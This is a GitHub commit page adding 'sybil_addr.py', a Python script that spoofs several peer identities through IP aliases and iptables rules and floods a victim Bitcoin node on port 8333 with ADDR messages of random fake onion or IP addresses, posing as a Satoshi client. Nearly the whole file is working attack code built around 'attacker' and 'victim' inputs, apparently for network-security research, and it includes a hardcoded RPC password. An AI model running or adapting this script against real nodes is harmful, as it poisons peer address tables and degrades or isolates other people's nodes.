Skip to content

Commit

Permalink
Add experimental ADDR sybil script
Browse files Browse the repository at this point in the history
  • Loading branch information
Simewu committed Jan 25, 2024
1 parent 9df3662 commit 8f11c76
Showing 1 changed file with 374 additions and 0 deletions.
374 changes: 374 additions & 0 deletions tools/sybil_addr.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,374 @@
from _thread import start_new_thread
from bitcoin.messages import *
from bitcoin.net import CAddress
from bitcoin.core import CBlock
from io import BytesIO as _BytesIO
import atexit
import bitcoin
import fcntl
import hashlib
import json
import os
import random
import re
import socket
import struct
import sys
import time
import datetime
import base64

sendOnlyOneMessagePerIdentity = True
networkType = 'onionv3'


if os.geteuid() != 0:
sys.exit("\nYou need to have root privileges to run this script.\nPlease try again, this time using 'sudo'. Exiting.\n")

# Specify the attacker's genuine IP
attacker_ip = input('\nEnter attacker\'s IP address: ')

# Specify the victim's IP, and port (8333 for Bitcoin)
victim_ip = input('Enter victim\'s IP address: ')
victim_port = 8333

# How many identities should run simultaneously
num_identities = 8

# While attacking the victim, wait this many seconds before sending each version message
seconds_between_version_packets = 0.1









identity_interface = [] # Keeps the IP alias interface and IP for each successful connection
identity_address = [] # Keeps the IP and port for each successful connection
identity_socket = [] # Keeps the socket for each successful connection

# The file where the iptables backup is saved, then restored when the script ends
iptables_file_path = f'{os.path.abspath(os.getcwd())}/backup.iptables.rules'

# Send commands to the Linux terminal
def terminal(cmd):
return os.popen(cmd).read()

# Send commands to the Bitcoin Core Console
def bitcoin(cmd):
return os.popen('./../../src/bitcoin-cli -rpcuser=cybersec -rpcpassword=kZIdeN4HjZ3fp9Lge4iezt0eJrbjSi8kuSuOHeUkEUbQVdf09JZXAAGwF3R5R2qQkPgoLloW91yTFuufo7CYxM2VPT7A5lYeTrodcLWWzMMwIrOKu7ZNiwkrKOQ95KGW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame -rpcport=8332 ' + cmd).read()

# Generate a random identity using the broadcast address template
def random_ip():
# By forcing the IP to be above a certain threshhold, it prevents a lot of errors
minimum_ip_range = min(int(attacker_ip.split('.')[-1]), int(victim_ip.split('.')[-1])) + 1
while(True):
ip = broadcast_address
old_ip = ''
while(old_ip != ip):
old_ip = ip
ip = ip.replace('255', str(random.randint(minimum_ip_range, 255)), 1)
# Don't accept already assigned IPs
if ip == default_gateway: continue
if ip == victim_ip: continue
if ip not in [x[0] for x in identity_address]: break
return ip
#return f'10.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}'

# Checking the internet by sending a single ping to Google
#def internet_is_active():
# return os.system('ping -c 1 google.com') == 0

# If all else fails, we can use this to recover the network
#def reset_network():
# print('Resetting network...')
# terminal(f'sudo ifconfig {network_interface} {attacker_ip} down')
# terminal(f'sudo ifconfig {network_interface} {attacker_ip} up')

# Create an alias for a specified identity
def ip_alias(ip_address):
global alias_num
print(f'Setting up IP alias {ip_address} on {network_interface}')
interface = f'{network_interface}:{alias_num}'
terminal(f'sudo ifconfig {interface} {ip_address} netmask 255.255.255.0 broadcast {broadcast_address} up')
alias_num += 1
return interface

# Make a random IPv4/IPv6/OnionV2/OnionV3/I2P/CJDNS address
def generate_random_address(networkType):
if networkType == 'ipv4':
return f"{random.randint(0, 255)}.{random.randint(0, 255)}." \
f"{random.randint(0, 255)}.{random.randint(0, 255)}"
elif networkType == 'ipv6':
return ':'.join(f'{random.randint(0, 65535):x}' for _ in range(8))
elif networkType == 'onionv2':
return ''.join(random.choices('abcdefghijklmnopqrstuvwxyz234567', k=16)) + '.onion'
elif networkType == 'onionv3':
return base64.b32encode(random.randbytes(22)).decode().lower().strip('=') + '.onion'
elif networkType == 'i2p':
return ''.join(random.choices('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ234567', k=52)) + '.b32.i2p'
elif networkType == 'cjdns':
return 'fc' + ''.join(random.choices('0123456789abcdef', k=30))
else:
raise ValueError("Unknown network type")

# Construct an addr packet using python-bitcoinlib
def addr_packet(addresses, networkType):
msg = msg_addr()
addrs = []
for address in addresses:
addr = CAddress()
addr.nTime = int(time.time())
if networkType in ['ipv4', 'ipv6', 'cjdns']:
addr.ip = address
addr.port = 8333
elif networkType in ['onionv2', 'onionv3', 'i2p']:
# Special handling for Onion and I2P addresses
addr.service = 0 # Set appropriate service flags
addr.ip = address
addr.port = 8333 # or the correct port for these networks
else:
raise ValueError("Unknown network type")
addrs.append(addr)
msg.addrs = addrs
return msg


# Construct an inv packet using python-bitcoinlib
def inv_packet():
msg = msg_inv(bitcoin_protocolversion)
msg.type = 1
tx = msg_tx(bitcoin_protocolversion)
tx.type = 1
tx.hash = bytearray(random.getrandbits(8) for _ in range(32))
msg.inv = [tx] * 50001
return msg

# Construct a version packet using python-bitcoinlib
def version_packet(src_ip, dst_ip, src_port, dst_port):
msg = msg_version(bitcoin_protocolversion)
msg.nVersion = bitcoin_protocolversion
msg.addrFrom.ip = src_ip
msg.addrFrom.port = src_port
msg.addrTo.ip = dst_ip
msg.addrTo.port = dst_port
# Default is /python-bitcoinlib:0.11.0/
msg.strSubVer = bitcoin_subversion.encode() # Look like a normal node
return msg

def ping_packet():
msg = msg_ping(bitcoin_protocolversion)
msg.nonce = random.getrandbits(32)
return msg

# Close a connection
def close_connection(socket, ip, port, interface):
socket.close()
terminal(f'sudo ifconfig {interface} {ip} down')

if socket in identity_socket: identity_socket.remove(socket)
else: del socket
if interface in identity_interface: identity_interface.remove(interface)
if (ip, port) in identity_address: identity_address.remove((ip, port))
print(f'Successfully closed connection to ({ip} : {port})')

# Creates a fake connection to the victim
def make_fake_connection(src_ip, dst_ip, verbose=True):
src_port = random.randint(1024, 65535)
dst_port = victim_port
print(f'Creating fake identity ({src_ip} : {src_port}) to connect to ({dst_ip} : {dst_port})...')

interface = ip_alias(src_ip)
identity_interface.append(interface)
if verbose: print(f'Successfully set up IP alias on interface {interface}')
if verbose: print('Resulting ifconfig interface:')
if verbose: print(terminal(f'ifconfig {interface}').rstrip() + '\n')

if verbose: print('Setting up iptables configurations')
terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL RST,ACK -j DROP')
terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL FIN,ACK -j DROP')
terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL FIN -j DROP')
terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL RST -j DROP')

if verbose: print('Creating network socket...')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

if verbose: print(f'Setting socket network interface to "{network_interface}"...')
success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\0').encode('utf-8'))
while success == -1:
print(f'Setting socket network interface to "{network_interface}"...')
success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\0').encode('utf-8'))
time.sleep(1)
print(network_interface)


if verbose: print(f'Binding socket to ({src_ip} : {src_port})...')
s.bind((src_ip, src_port))

if verbose: print(f'Connecting ({src_ip} : {src_port}) to ({dst_ip} : {dst_port})...')
try:
s.connect((dst_ip, dst_port))
except:
close_connection(s, src_ip, src_port, interface)
make_fake_connection(random_ip(), dst_ip, False)
return

# Send version packet
version = version_packet(src_ip, dst_ip, src_port, dst_port)
s.send(version.to_bytes())
# Get verack packet
verack = s.recv(1924)
# Send verack packet
verack = msg_verack(bitcoin_protocolversion)
s.send(verack.to_bytes())
# Get verack packet
verack = s.recv(1024)

if verbose: print('Connection successful!')

identity_address.append((src_ip, src_port))
identity_socket.append(s)

# Listen to the connections for future packets
if verbose: print('Attaching attacker script {interface}')
try:
start_new_thread(attack, (), {
'socket': s,
'src_ip': src_ip,
'src_port': src_port,
'dst_ip': dst_ip,
'dst_port': dst_port,
'interface': interface
})
except:
print('Error: unable to start thread to sniff interface {interface}')

# Send addr repeatedly, or only once per identity based on sendOnlyOneMessagePerIdentity
def attack(socket, src_ip, src_port, dst_ip, dst_port, interface):
# Generate a new list of 1000 random IP addresses
example_addresses = [generate_random_address(networkType) for _ in range(1000)]
addr = addr_packet(example_addresses).to_bytes()

if sendOnlyOneMessagePerIdentity:
try:
socket.send(addr)
except Exception as e:
print(e)
finally:
close_connection(socket, src_ip, src_port, interface)
print(f'Connection closed after sending one message ({src_ip} : {src_port})')
else:
while True:
if seconds_between_version_packets != 0:
time.sleep(seconds_between_version_packets)

try:
socket.send(addr)
except Exception as e:
print(e)
break

close_connection(socket, src_ip, src_port, interface)
print(f'Peer was banned ({src_ip} : {src_port})')

# Initialize the network
def initialize_network_info():
print('Retrieving network info...')
global default_gateway, network_interface, broadcast_address

# Get the network interface of the default gateway
m = re.search(r'default +via +([^ ]+) +dev +([^ ]+)', terminal('ip route'))
if m != None:
default_gateway = m.group(1).strip()
network_interface = m.group(2).strip()
else:
print('Error: Network interface couldn\'t be found.')
sys.exit()

# Get the broadcast address of the network interface
# Used as an IP template of what can change, so that packets still come back to the sender
m = re.search(r'broadcast ([^ ]+)', terminal(f'ifconfig {network_interface}'))
if m != None:
broadcast_address = m.group(1).strip()
else:
print('Error: Network broadcast IP couldn\'t be found.')
sys.exit()

# Initialize Bitcoin info
def initialize_bitcoin_info():
print('Retrieving bitcoin info...')
global bitcoin_subversion
global bitcoin_protocolversion
bitcoin_subversion = '/Satoshi:0.18.0/'
bitcoin_protocolversion = 70015
try:
network_info = None #json.loads(bitcoin('getnetworkinfo'))
if 'subversion' in network_info:
bitcoin_subversion = network_info['subversion']
if 'protocolversion' in network_info:
bitcoin_protocolversion = network_info['protocolversion']
except:
pass

# Save a backyp of the iptable rules
def backup_iptables():
terminal(f'iptables-save > {iptables_file_path}')

# Restore the backup of the iptable rules
def cleanup_iptables():
if(os.path.exists(iptables_file_path)):
print('Cleaning up iptables configuration')
terminal(f'iptables-restore < {iptables_file_path}')
os.remove(iptables_file_path)

# Remove all ip aliases that were created by the script
def cleanup_ipaliases():
for i in range(0, len(identity_address)):
try:
ip = identity_address[i][0]
interface = identity_interface[i]
print(f'Cleaning up IP alias {ip} on {interface}')
terminal(f'sudo ifconfig {interface} {ip} down')
except: pass

# This function is ran when the script is stopped
def on_close():
print('Closing open sockets')
for socket in identity_socket:
socket.close()
cleanup_ipaliases()
cleanup_iptables()
print('Cleanup complete. Goodbye.')

#print('Verifying that internet works...')
#if not internet_is_active():
# reset_network()


# This is the first code to run
if __name__ == '__main__':
global alias_num
alias_num = 0 # Increments each alias

initialize_network_info()
initialize_bitcoin_info()

atexit.register(on_close) # Make on_close() run when the script terminates
cleanup_iptables() # Restore any pre-existing iptables before backing up, just in case if the computer shutdown without restoring
backup_iptables()

# Create the connections
for i in range(1, num_identities + 1):
try:
make_fake_connection(src_ip = random_ip(), dst_ip = victim_ip)
except ConnectionRefusedError:
print('Connection was refused. The victim\'s node must not be running.')

print(f'Successful connections: {len(identity_address)}\n')

# Prevent the script from terminating when the sniff function is still active
while 1:
time.sleep(60)

0 comments on commit 8f11c76

Please sign in to comment.